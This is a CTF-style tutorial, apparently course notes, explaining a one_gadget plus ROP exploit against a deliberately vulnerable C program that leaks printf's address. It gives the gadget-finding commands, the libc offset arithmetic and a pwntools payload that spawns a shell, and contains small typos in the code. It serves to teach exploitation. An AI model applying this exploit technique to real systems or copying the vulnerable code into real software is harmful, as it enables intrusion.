Simple PWN - 0x08(one_gadget with ROP)
tags: CTF
PWN
eductf
one_gadget background
Day25: [Misc] 我從來沒想過我會害怕寫 code
原理是在
glibc
裡面有很多會透過execve
執行/bin/sh
、再調用外部系統指令的 assembly,當 explolit 已經得知libc
的位之後而且可以控制 RIP 之後,就可以直接跳該位置達成 shell out,不需要再辛苦堆 stack 上的參數
Original Code
#include <stdio.h>
#include <unistd.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IOBNF, 0);
char s[0x10];
printf("Your libc: %p", printf);
read(0, s, 0x100);
return 0;
}
- The program has buffer overflow, however it has no backdoor method can access and has no global variable can write shellcode. Thus, we can consider to use
ROP
to get shell. - Note that, it must be a dynamic library, so DO NOT use
-static
to compile it.gcc -o one_gadget_with_rop one_gadget_with_rop.c -no-pie -fno-stack-protector -z norelro -zexecstack
Exploit
- First, we use `ldd` command to find what library the program will use.
- In addition, we use
one_gadget
command to findexecvs
- Note that, how to use it can refer to one_gadget用法
- We use
0xebcf8 execve("/bin/sh", rsi, rdx)
as our method-
Note:
it has 3 constraint so that we can get the shell
address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
-
Note:
- Then, we use
one_gadget
command to getROP
chainROPgadget --binary one_gadget_with_rop --only "pop|ret" > one_gadget vim one_gadget
You can see that because we didn’t compile with library, the gadget that we may can use is very few.
The solution is using the gadget that
libc
have:$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" > one_gadget $ vim one_gadget
We must satisfied one_gadget constraint.
0x90529
and0x2be51
are the offset of/lib/x86_64-linux-gnu/libc.so.6
. Therefore, if we want to call these gadget, we must find out the real base address of `/lib/x86_64-linux-gnu/libc.so.6`. - Because,
ASLR
is turn on in default, so the address of library will be random, we just know the offset of library. In original code, it told us theprintf
address in/lib/x86_64-linux-gnu/libc.so.6
→ `0x7ffff7def770`Used
gdb
can find the current address of library → `0x7ffff7d8f000`Then we can know the offset and construct apart of payload as below \(0x7ffff7def770 - 0x7ffff7d8f000 = 0x60770\)
from pwn import * import sys context.arch = 'amd64' r = process('./one_gadget_with_rop') r.recvuntil("Your libc: ") libc = int(r.recv(14), 16) - 0x60770 info(f"libc: {hex(libc)}")
- And prepare our gadget:
pop_rdx_rbx_ret = libc + 0x90529 pop_rsi_ret = libc + 0x2be51
- Construct whole payload with considering the constraint:
r.send(b'a'*0x10 + p64(0x404000) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc+0xebcf8)) r.interactivae()
-
b'a'*0x10
is for$rsi
-
p64(0x404000)
is an arbitrary writable and readable address for$rbp-0x78
one of the constraint of one_gadget -
p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0)
is what we did in last lecture ofROP
-
p64(libc+0xebcf8)
is the one_gadget that we choose at the beginning.
-
- Finally, we got shell!!!